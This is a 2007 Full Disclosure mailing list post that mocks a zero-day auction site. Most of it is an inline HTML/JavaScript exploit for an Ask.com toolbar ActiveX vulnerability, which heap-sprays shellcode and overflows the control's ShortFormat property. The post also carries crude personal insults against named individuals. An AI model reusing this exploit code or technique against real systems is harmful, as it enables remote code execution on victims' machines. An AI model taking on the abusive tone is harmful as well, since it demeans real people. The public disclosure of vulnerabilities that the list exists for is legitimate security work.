Full Disclosure mailing list archives

Re: New Zeroday published

From: "Joey Mengele" <joey.mengele () hushmail com>
Date: Mon, 24 Sep 2007 12:46:54 -0400

Dear Security List Moderator,

Proving itself to be the true iDefense of the New Millenium (TM), 
WabiSabiLabia has released a new worthless bug and exploit to their 
auction area [1]. Attached is an exploit for the bug, which is 
described by WabiSabiLabia at the end of this electronic 
correspondence. It is included inline as well as an attachment. 

STOP WABISABILABIA EXPLOITATION OF DISEASED HACKER OVERACHIEVERS!
KILL ALL WABISABILABIA BUGS BEFORE SALE! 
YOU TOO CAN PREVENT FOREST FIRES! [2] 

J

[1] http://www.wslabi.com/wabisabilabi/initPublishedBid.do?
[2] Gadi Evron is a fat fuck who invented DNS

___ BEGIN ___

<html>
<SCRIPT language="javascript">
// This is new technique I invent call 'heap fill attack'
var str0ke = 0x0d0d0d0d;
var sucks = unescape( // Launch the system calculator 100 times 
because what else?
                      // This code currently not work on 
Solaris/Sparc
        
"%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%
u5F8B%u0120" +
        
"%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%
u543B%u0424" +
        
"%uE575%u5F8B%u0124%u66EB%u0C8B%u8B4B%u1C5F%uEB01%u1C8B%u018B%u89EB%
u245C%uC304" +
        
"%uC031%u8B64%u3040%uC085%u0C78%u408B%u8B0C%u1C70%u8BAD%u0868%u09EB%
u808B%u00B0" +
        
"%u0000%u688B%u5F3C%uF631%u5660%uF889%uC083%u507B%uF068%u048A%u685F%
uFE98%u0E8A" +
        "%uFF57%u63E7%u6C61%u0063");
var dick = 0x400000;
var j0hnson = sucks.length * 2;
var spraySlideSize = dick - (j0hnson+0x38);
var spraySlide = unescape("%u9090%u9090");
spraySlide = getSpraySlide(spraySlide,spraySlideSize);
heapBlocks = (str0ke - 0x400000)/dick;
memory = new Array();for (i=0;i<heapBlocks;i++)
{memory[i] = spraySlide + sucks;}
try{
gadi = new ActiveXObject( 'AskJeevesToolBar.SettingsPlugin.1' );
}
catch(evron)
{
alert(evron);
}
netdev = "A";
while (netdev.length != 0x5e0)
netdev += "A";
netdev += unescape("%0d%0d%0d%0d");
gadi.ShortFormat = netdev;
function getSpraySlide(spraySlide, spraySlideSize)
        {while (spraySlide.length*2<spraySlideSize){
        spraySlide += spraySlide;}
        spraySlide = spraySlide.substring(0,spraySlideSize/2);
        return spraySlide;}
</script>
</html>

___ END ___

On Mon, 24 Sep 2007 06:06:39 -0400 webmaster () wslabi com wrote:

NEW ZERODAY PUBLISHED
               A new zeroday has been published with Wabisabilabi code
ZD-00000148               
               THIS ITEM IS SOLD UNDER THIS SCHEME: AUCTION             
 
                      Title
                      ask.com toolbar remote vulnerability
                      Time to live
                      14 days, 20 hours, 52 minutes
                      Vulnerability type
                      client side
                      Affected system
                      Windows XP
                      Remote
                      true
                      Local
                      false
                      PoC
                      true
                      Public description
                      ask.com toolbar suffers from a remote vulnerability.
Affected version is 4.0.2.53. PoC is included. Further informations
for registered bidders only.
-------------------------
                     You received this newsletter because you ask to do
this.     
                     If you don't want to receive its anymore or if you
didn't ask to       receive its, follow the link below.     
                    
https://wslabi.com/wabisabilabi/initUnsubscribeNewsletter.do?unsubs
cribeKey=vorUuSZWl%2BIeVytn%2FqzINkgmIGYXxC5bvB4XUqsQKwrbOtcMr%2FvN
GpdBuP1PZ%2Fn0hBNb24xl%2Bl5VymAlSH3880%2FoYzxcUxflmW6JrGaF1Uo%3D[1]
   
   

Links:
------
[1]
https://wslabi.com/wabisabilabi/initUnsubscribeNewsletter.do?unsubs
cribeKey=vorUuSZWl%2BIeVytn%2FqzINkgmIGYXxC5bvB4XUqsQKwrbOtcMr%2FvN
GpdBuP1PZ%2Fn0hBNb24xl%2Bl5VymAlSH3880%2FoYzxcUxflmW6JrGaF1Uo%3D


--
Be your own boss today! Go to Technical School. Click here.
http://tagline.hushmail.com/fc/Ioyw6h4fRTcB9r0dQYjSTJZMSmpBdlBRBdtflLQIMuFxabIbIvvX2w/

Attachment: ZD-00000148.txt
Description:

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/

Current thread:

Re: New Zeroday published Joey Mengele (Sep 24)